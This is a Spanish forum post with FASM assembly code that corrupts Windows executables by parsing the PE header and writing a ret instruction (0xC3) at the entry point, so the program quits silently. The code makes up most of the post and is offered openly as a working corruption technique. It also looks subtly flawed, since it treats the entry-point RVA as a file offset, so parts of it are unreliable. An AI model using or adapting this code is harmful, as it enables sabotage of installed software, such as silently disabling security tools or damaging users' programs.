Esta tecnica consiste en averiguar el EntryPoint de ejecutable y poner un 0xC3 ( un ret en ensamblador) en donde apunte el entry point, de esta manera el programa se cerrara sin mostrar ningun error. En realidad no rompemos el ejecutable sino que modificamos su flujo.
Para entender mejor esto convendria leer sobre el formato PE:
[Enlace externo eliminado para invitados] ... 847.0.html
Ejemplo de código:
Código: Seleccionar todo
;///////////////////////////////////////////////////////////////////////////////
;//// Ret Exe Corruption: corrompe los exe poniendo un 0xC3 (ret) en el ////
;//// entry point. Este código no funciona con algunos ejecutables para ////
;//// ello habría que hacer algunos modificaciones. ////
;//// Programado por Drinky94 a 13 - Septiembre - 2011 ////
;///////////////////////////////////////////////////////////////////////////////
include 'win32ax.inc'
.data
manija dd ?
larchivo dd ?
espacio dd ?
bleidos dd ?
PE dd ? ; puntero a NT
EP dd ? ; EntryPoint
wb dd ?
.code
start:
invoke CreateFileA,'g:\bowser.exe', GENERIC_READ, FILE_SHARE_READ, 0,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
mov [manija],eax
invoke GetFileSize,[manija],0
mov [larchivo],eax
invoke GlobalAlloc,GPTR,[larchivo]
mov [espacio],eax
invoke ReadFile,[manija],[espacio],[larchivo],addr bleidos,0
invoke CloseHandle,[manija]
leave
mov eax,[espacio]
cmp word[eax],'MZ'
jne salir
mov ecx,eax
add eax,dword[eax+0x3C] ; EAX = PE
mov [PE],eax
cmp word[eax],'PE'
jne salir
add eax,0x28
mov ebx,dword[eax]
mov [EP],ebx ;EP = EntryPoint
mov ebx,ecx ; EAX = puntero inicio
add ecx,[EP]
mov word[ecx],0xC3
;// Aquí tendríamos que eliminar el viejo archivo y generar nuestro Exe modificado con el mismo nombre.
invoke CreateFile,"g:\NuevoRET.exe",GENERIC_WRITE,0,NULL,CREATE_NEW,FILE_ATTRIBUTE_NORMAL,0
push eax
invoke WriteFile,eax,ebx,[larchivo],wb,NULL
pop eax
invoke CloseHandle,eax
invoke MessageBoxA,0,"FIN",0,0
salir:
leave
ret
.end start
saludos.